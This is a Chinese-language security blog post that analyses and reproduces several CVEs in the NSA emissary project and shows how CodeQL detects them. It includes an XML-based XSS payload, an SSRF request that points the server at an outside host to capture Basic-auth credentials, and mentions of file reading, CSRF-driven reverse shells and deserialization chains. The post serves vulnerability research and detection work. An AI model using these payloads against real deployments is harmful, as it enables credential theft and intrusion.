[旧文系列] NSA emissary多个漏洞分析复现和CodeQL实践

关于<旧文系列>

<旧文系列>系列是笔者将以前发到其他地方的技术文章,挑选其中一些值得保留的,迁移到当前博客来。

文章首发于奇安信攻防社区: https://forum.butian.net/share/604
时间:2021-08-31


0x00 前言

先是Sonarsource的安全研究员在审计NSA的开源项目emissary v5.9.0版本的过程中发现了若干漏洞,其中包括:

  • Code Injection (CVE-2021-32096)
  • Arbitrary File Upload (CVE-2021-32094)
  • Arbitrary File Disclosure (CVE-2021-32093)
  • Arbitrary File Delete (CVE-2021-32095)
  • Reflected cross-site scripting (CVE-2021-32092)

后来在浏览Github安全实验室的博客时,看到@pwntester 在Sonarsource安全研究员的基础上,使用CodeQL编写规则,在emissary项目中除了检测出以上漏洞外,还发现了新的漏洞:

  • Unsafe deserialization (CVE-2021-32634)
  • Server-side request forgery (CVE-2021-32639)

最近笔者除了在做漏洞分析外,也在学习CodeQL的使用,刚好可以用emissary项目来练手。

0x01 漏洞分析和复现

Reflected cross-site scripting (CVE-2021-32092)

这个XSS漏洞发生在一个文档上传功能里,上传文档后通过/emissary/Document.action/{uuid}接口来获取文档的信息,uuid参数对应的不同的文档。当uuid不存在时,返回一个XML格式的内容,提示uuid不存在, 但传入的uuid参数未经任何的安全过滤就原样显示在回显文本中,可导致反射型XSS。关键代码如下图:
在这里插入图片描述
由于返回的文本是XML格式,可在XSS-Cheat-Sheet中找到在XML文件中执行的PoC,如下:

<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(document.domain)</x:script>

在这里插入图片描述
该漏洞使用CodeQL最新版本的默认规则集可以检测出来,如下图:
在这里插入图片描述
而如果使用较旧的版本(应该是今年6月份以前的版本),使用默认的规则集无法检测出该XSS,看CodeQL对应的提交记录,应该是之前没有考虑到响应类型为:application/xml,从而导致漏报(个人愚见,不一定对…)。另外,还针对XSS的误报方面进行了改进,忽略了响应类型为application/json的情况。对应的改进实现见:XSS改进

Arbitrary File Disclosure (CVE-2021-32093)

漏洞发生在接口/emissary/ConfigFile.action,该接口没有对传入的参数ConfigItem做任何安全校验和过滤,导致可读取服务器上任意文件。关键代码如下:
在这里插入图片描述
在这里插入图片描述
示例如下,读取系统文件,及读取emissary的配置文件获取用户名/密码:
在这里插入图片描述
在这里插入图片描述
该漏洞使用CodeQL的默认规则集可以检测出来,如下图:
在这里插入图片描述

Code Injection (CVE-2021-32096)

该漏洞出现在接口/emissary/Console.action,该接口允许用户执行Ruby代码。关键代码如下:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
这个是emissary提供的功能。另外,该接口需要登录后才能调用。但由于emissary的用户认证使用的是HTTP摘要认证(HTTP Digest authentication)(参考[3]),在浏览器端登录后的HTTP请求,会自动带上请求头Authorization,如下:

GET / HTTP/1.1
Host: 192.168.3.56:8001
Authorization: Digest username="emissary", realm="EmissaryRealm", nonce="6GNGeEbPjv0BCgLtxLiqHifkF1eNRMM3", uri="/", algorithm=MD5, response="daa5a9a9144b7665f5ff1f5585d3432f", qop=auth, nc=00000001, cnonce="9f3c3b06c42dba3b"

这种认证方式可以被CSRF攻击。所以可构造页面让登录用户去访问,从而获取反弹shell,如下GIF图演示:
在这里插入图片描述
这个漏洞,使用目前CodeQL的默认规则集是检测不出来的,尽管默认规则集确实已覆盖了javax.script.ScriptEngine.eval(),所以应该是因为某种原因导致sourcesink之间的通路断了。下面通过代码来分析下原因。
在这里插入图片描述
getOrCreateConsole(request) 将调用 RubyConsole.getConsole(),其实现如下:
在这里插入图片描述
这里会启动一个线程,线程执行的代码见RubyConsole.run():
在这里插入图片描述
当调用ruby​​ConsolePost()方法时,RubyConsole.run()由于 stringToEvalnull,会执行wait()立马使当前线程进入挂起状态。

然后再回到接口的执行方法rubyConsolePost(),后面会执行console.evalAndWait()去执行Ruby代码:
在这里插入图片描述
在这里插入图片描述
可以看到evalAndWait()方法里并没有直接调用eval()方法,而是将要执行的ruby代码字符串赋值给全局变量stringToEval,然后调用notifyAll()方法来唤醒所有等待状态的线程,所以RubyConsole.run()方法继续往下执行,调用javax.script.ScriptEngine.eval()去执行Ruby代码。

综上可判断:使用默认的规则集检测的过程中,从/Console.actionconsole.evalAndWait(),由于javax.script.ScriptEngine.eval()没有在console.evalAndWait()里被调用,所以这个数据流就断了。所以检测不出来。

因此,得通过编写CodeQL额外的污点步骤,把这个数据通路给连接起来。这里直接引用了@pwntester编写的CodeQL规则,如下:

class NotifyWaitTaintStep extends TaintTracking::AdditionalTaintStep {
  override predicate step(DataFlow::Node n1, DataFlow::Node n2) {
    exists(MethodAccess notify, MethodAccess wait, SynchronizedStmt notifySync, SynchronizedStmt waitSync |
      notify.getMethod().hasQualifiedName("java.lang", "Object", ["notify", "notifyAll"]) and
      notify.getAnEnclosingStmt() = notifySync and
      wait.getMethod().hasQualifiedName("java.lang", "Object", "wait") and
      wait.getAnEnclosingStmt() = waitSync and
      waitSync.getExpr().getType() = notifySync.getExpr().getType() and
      exists(AssignExpr write, FieldAccess read |
        write.getAnEnclosingStmt() = notifySync and
        write = n1.asExpr() and
        read.getAnEnclosingStmt() = waitSync and
        read.getField() = write.getDest().(FieldAccess).getField() and
        read = n2.asExpr()
      )
    )
  }
}

可将这段代码添加到CodeQL默认的代码注入规则文件ql/java/ql/src/experimental/Security/CWE/CWE-094/ScriptInjection.ql中,再运行查询,就能检测出该漏洞了,如下图:
在这里插入图片描述

Unsafe deserialization (CVE-2021-32634)

该漏洞发生在接口/emissary/WorkSpaceClientEnqueue.action,代码如下图:
在这里插入图片描述
可以看到参数WorkSpaceAdapter.WORK_BUNDLE_OBJ在第52、53行被读取并反序列化。而且emissary依赖了commons-collections-3.2.1,所以可以使用ysoserial生成CC链的payload进行反序列化攻击。由于这个接口也是登录后才可调用,因此可配合CSRF进行利用。

该漏洞使用CodeQL的默认规则集可以检测出来,如下图:
在这里插入图片描述

Server-side request forgery (CVE-2021-32639)

这里有两个接口存在SSRF漏洞,分别是/emissary/RegisterPeer.action/emissary/AddChildDirectory.action

这两处SSRF漏洞,使用CodeQL的默认规则集可以检测出来,如图:
在这里插入图片描述
在这里插入图片描述

SSRF-1、接口 /RegisterPeer.action

漏洞输入点在directoryName参数。
可构造payload如下:

POST /emissary/RegisterPeer.action HTTP/1.1
Host: 127.0.0.1:8001
Content-Type: application/x-www-form-urlencoded

directoryName=foo.bar.baz.http://172.20.10.3:5000/&targetDir=http://localhost:8001/DirectoryPlace

SSRF一般用于未授权访问、扫描或攻击目标的内部网络。但是这里@pwntester根据emissary的实际情况给出了另一种攻击场景。通过分析代码发现,emissary使用Apache的HttpClient库来向内部网络发起http请求,它从自身配置中获取身份凭证,并将身份凭证设置到名为CRED_PROV的凭证提供者对象中,然后带着这个身份凭证向目标服务发起Http请求。在这个过程中,并没有配置emissary客户端使用哪种身份认证机制(HTTP Basic Authentication或HTTP Digest Authentication),所以判断:使用哪种身份认证机制应该是根据HTTP服务器的响应来决定的。具体代码如下:
在这里插入图片描述
因此,我们就可以架设一个HTTP基础认证的服务器,然后通过emissary的SSRF漏洞,让emissary客户端使用HTTP基础认证方式去访问我们的服务器,这样,我们在恶意服务器端就能获取用户身份凭证的明文数据(Base64编码)。

经实践,发现确实是这样。

1、首先编写并启动我们的HTTP Basic Authentication服务器;
2、使用上面的payload,对emissary执行SSRF攻击,如下图,会带着身份凭证的明文数据(Base64编码)向我们的目标服务器发起请求:
在这里插入图片描述
因此emissary项目的维护者在修复SSRF漏洞的同时,还指定了emissary客户端使用HTTP摘要认证机制。如下图,详见修复代码
在这里插入图片描述

SSRF-2、接口 /AddChildDirectory.action

/AddChildDirectory.action接口同理,就不展开说了。

0x02 小结

  • CodeQL在一定程度上,依赖于安全人员的技术能力。但随着该项目的活跃,安全社区会有越来越多的人提交优质的CodeQL查询规则,来增强它的默认规则集。
  • CodeQL无论是在代码审计挖洞,还是分析Nday方面,都是非常值得学习的工具。

参考

[1] https://blog.sonarsource.com/code-vulnerabilities-in-nsa-application-revealed
[2] https://securitylab.github.com/research/NSA-emissary/
[3] https://blog.csdn.net/andrewpj/article/details/45727853

  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值